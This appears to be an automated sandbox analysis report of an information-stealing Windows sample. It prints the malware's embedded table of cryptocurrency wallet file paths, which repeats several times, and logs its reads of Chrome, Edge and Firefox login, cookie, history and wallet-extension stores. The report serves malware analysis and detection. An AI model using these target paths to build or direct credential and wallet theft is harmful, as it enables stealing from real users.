Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.0000000000347000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
